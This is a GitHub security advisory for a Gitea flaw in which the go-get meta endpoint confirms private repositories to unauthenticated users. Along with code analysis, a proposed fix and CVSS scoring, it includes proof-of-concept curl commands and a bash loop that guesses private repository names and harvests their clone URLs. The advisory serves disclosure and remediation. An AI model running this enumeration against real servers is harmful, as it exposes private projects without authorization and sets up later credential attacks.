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Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint

Moderate severity GitHub Reviewed Published Jul 13, 2026 in go-gitea/gitea • Updated Jul 21, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.27.0

Patched versions

1.27.0

Description

Field Value
Affected File routers/web/repo/githttp.go, services/context/repo.go
Affected Functions httpBase(), EarlyResponseForGoGetMeta()
Affected Lines githttp.go:63–66, services/context/repo.go:374–396
Prerequisite None — fully unauthenticated

Description

Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags — regardless of whether:

  • The repository is private
  • The requesting user is authenticated
  • The requesting user has any permission on the repository

The entry point is routers/web/repo/githttp.go:63–66:

func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")

    if ctx.FormString("go-get") == "1" {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil   // ← returns before any auth or permission check
    }
    ...

The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:

// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
    username := ctx.PathParam("username")
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
    ...
    ctx.PlainText(http.StatusOK, htmlMeta)   // ← HTTP 200, no auth check
}

The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.

The metadata returned includes:

  1. The full repository name and owner — confirming the repository exists
  2. The HTTP clone URL — a fully-formed URL pointing to the repository
  3. The source browsing URL templates — which may reveal the default branch name

This allows an unauthenticated attacker to:

  1. Confirm existence of any private repository by name
  2. Enumerate private repository names through brute-force without triggering authentication failures
  3. Harvest clone URLs and default branch names of private repositories

Proof of Concept

Step 1 — Identify a private repository

Any private repository works. For this demonstration, admin/classified-internal is set to private:


Step 2 — Confirm access is denied without authentication

Standard requests to a private repository correctly return 404 for unauthenticated users.


Step 3 — Bypass using go-get parameter

curl -s "http://localhost:3000/admin/classified-internal?go-get=1"

Actual response (HTTP 200):

<!doctype html>
<html>
    <head>
        <meta name="go-import"
              content="localhost:3000/admin/classified-internal
                       git
                       http://localhost:3000/admin/classified-internal.git">
        <meta name="go-source"
              content="localhost:3000/admin/classified-internal
                       _
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
    </head>
    <body>
        go get --insecure localhost:3000/admin/classified-internal
    </body>
</html>

The response:

  • Returns HTTP 200 (not 404) — confirming the repository exists
  • Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
  • Reveals the default branch name: main
  • Reveals the owner username: admin

This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.


Step 4 — Enumerate private repositories at scale

# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
  response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
  if echo "$response" | grep -q "go-import"; then
    clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
    echo "[FOUND] admin/${name} → clone: http://${clone_url}"
  fi
done

Step 5 — Verify the same applies to the main web router

The vulnerability also exists via the standard web router for repository pages:

# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1"   | grep "go-import"

All return HTTP 200 with the metadata.


Impact Analysis

Direct impact:

What is leaked Sensitivity
Repository exists Confirms presence of private infrastructure code, internal tooling, unreleased products
Owner / organization name Reveals organizational structure
Clone URL Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint
Default branch name Reduces brute-force surface for subsequent attacks

Root Cause Analysis

The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.

The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.


Recommended Fix

The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.

// routers/web/repo/githttp.go:63–66 — proposed fix

if ctx.FormString("go-get") == "1" {
    // For public repos, always respond to support the go toolchain
    if repo != nil && !repo.IsPrivate {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil
    }
    // For private repos, only respond if the user is authenticated
    // and has at least read access
    if ctx.IsSigned {
        if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
            if perm.CanRead(unit.TypeCode) {
                context.EarlyResponseForGoGetMeta(ctx)
                return nil
            }
        }
    }
    // Unauthenticated request for a private repo — return 404 consistent
    // with normal behavior; the go toolchain will prompt for credentials
    ctx.PlainText(http.StatusNotFound, "Repository not found")
    return nil
}

This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.


References

@bircni bircni published to go-gitea/gitea Jul 13, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Jul 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2026-58507

GHSA ID

GHSA-p4mj-98mv-xq26

Source code

Credits

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